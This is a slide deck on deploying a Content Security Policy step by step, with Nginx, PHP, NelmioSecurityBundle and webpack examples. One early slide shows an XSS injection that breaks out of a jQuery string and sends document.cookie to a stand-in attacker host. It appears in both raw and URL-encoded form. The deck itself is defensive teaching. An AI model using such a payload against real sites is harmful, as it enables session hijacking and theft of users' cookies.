CSP: Can See Purpose

@nathandench

Blog: https://ndench.github.io/security/csp-can-see-purpose

@nathandench

Who am I?

  • Nathan Dench
  • @nathandench on Twitter
  • Fullstack Web Dev
  • Infrastructure/DevOps/Security

Hyra iQ
We automate high volume contract negotiation for retail and commercial landlords and their law firms

@nathandench

What is a Content Security Policy?

  • HTTP header
  • Whitelist sources to load assets from
  • Blanket ban on XSS

@nathandench

How does XSS work?

@nathandench

How does XSS work?

<html>
    ...
    <script>
      // ...
    
      $('#searchTerm').val('Nissan');
    </script>
    ...
</html>

Search for:
Nissan

@nathandench

How does XSS work?

..
<script>
  // ...

  $('#searchTerm').val('');location.href='http://evilcyberhacker.com?cookies='+encodeURIComponent(document.cookie);//');
</script>
..

Search for:

');location.href='http://evilcyberhacker.com?cookies='%2BencodeURIComponent(document.cookie);//'

@nathandench

How does XSS work?

@nathandench

How does XSS work?

@nathandench

How does XSS work?

XSS Protection

  • Sanitise input/output
  • Large attack vector
  • Dodgy browser extensions
  • CSP - last defence

@nathandench

@nathandench

CSP Basics

Directives:

  • script-src
  • style-src
  • img-src
  • font-src
  • connect-src
  • default-src
  • block-all-mixed-content
  • upgrade-insecure-requsets
  • report-uri

Values:

  • 'none'
  • 'self'
  • domain.example.com
  • *.example.com
  • sha256-qznLcsR...
  • nonce-2726c7f26c

@nathandench

CSP Basics

Content-Security-Policy: 
    default-src 'none'; 
    script-src: 'self'; 
    style-src: 'self' fonts.googleapis.com; 
    image-src: instagram.com; 
    report-uri: example.report-uri.com/r/d/csp/enforce

Example CSP

  • JavaScript from your site
  • CSS from your site and fonts.googleapis.com
  • Images only from Instagram
  • Everything else is blocked
  • Violations reported to report-uri

@nathandench

CSP Report Only

Content-Security-Policy-Report-Only

  • Shows console error
  • Sends report to report-uri
  • Does not enforce anything
  • Implement a new CSP
  • Update an old one

@nathandench

Browser Incompatibilities

X-Content-Security-Policy

@nathandench

How did I do it?

add_header Content-Security-Policy-Report-Only "default-src: 'none'; ..."

Nginx config

@nathandench

How did I do it?

<?php

// Vanilla PHP
header('Content-Security-Policy-Report-Only "default-src \'none\'; ..."');

// Symfony Response
$response->headers->set('Content-Security-Policy-Report-Only', "default-src 'none'; ...','");

Application code - manually

@nathandench

How did I do it?

---
nelmio_security:
    csp:
        report:
            block-all-mixed-content: true
            default-src: ['none']

3rd party library

  • Symfony: NelmioSecurityBundle
  • Express.js: Helmet
  • Rails: Secure Headers - Rails
  • Django: Django-CSP
  • Spring Boot: @EnableWebSecurity

@nathandench

Step Once - Deny all

---
nelmio_security:
    csp:
        report:
            block-all-mixed-content: true
            default-src: ['none']

@nathandench

Step One - Deny all

@nathandench

Step Two - Allow the easy things

---
nelmio_security:
    csp:
        report:
            block-all-mixed-content: true
            default-src: ['none']
            script-src:
                - 'self'
                ...
            style-src:
                - 'self'
                ...
            font-src:
                - 'self'
                ...
            img-src:
                - 'self'
                ...
            connect-src:
                - 'self'
...

@nathandench

Step Three - Inline scripts

<script nonce="{{ csp_nonce('script') }}">
    ...
</script>
Content-Security-Policy script-src: 'nonce-67eab753ab3f0a713e02b07421dae6b7' ...

@nathandench

Step Four - Webpack and unsafe-eval

...
    plugins: [
        devtool: 'eval'
        ...
    ],
...
---
# Only in development
nelmio_security:
    csp:
        report:
            script-src:
                - 'unsafe-eval'

@nathandench

Step Five - report-uri & deploy

---
nelmio_security:
    csp:
        report:
            report-uri: https://example.report-uri.com/r/d/csp/reportOnly
            block-all-mixed-content: true
            default-src: ['none']
            script-src:
                - 'self'
...

@nathandench

Step Six - Monitor

@nathandench

Step Six - Monitor

...
module.exports = (env, argv) {
    let production = argv.mode === 'production'
    ...

    return {
        ...
        plugins: [
            devtool: production ? false : 'eval'
            ...
        ],
    }
}
...

@nathandench

Step Six - Monitor

<!-- Pretend to be a button with inline script -->
<a href="javascript:void(0)" class="btn btn-default">



<!-- Pretend to be a button without `href` -->
<a tabindex="0" class="btn btn-default">

@nathandench

Step Seven - Enforce

---
nelmio_security:
    csp:
-       report:
-           report-uri: https://example.report-uri.com/r/d/csp/reportOnly
            block-all-mixed-content: true
+       enforce:
+           report-uri: https://example.report-uri.com/r/d/csp/enforce
            block-all-mixed-content: true
            default-src: ['none']
            script-src:
                - 'self'
...

@nathandench

Conclusion

Content-Security-Policy

  • Whitelist trusted sources
  • Only load assets from trusted sources
  • Blanket ban on XSS

@nathandench

Questions?

We're hiring fullstack web devs!

nathan@hyraiq.com

CSP: Can See Purpose

By Nathan Dench

CSP: Can See Purpose

  • 506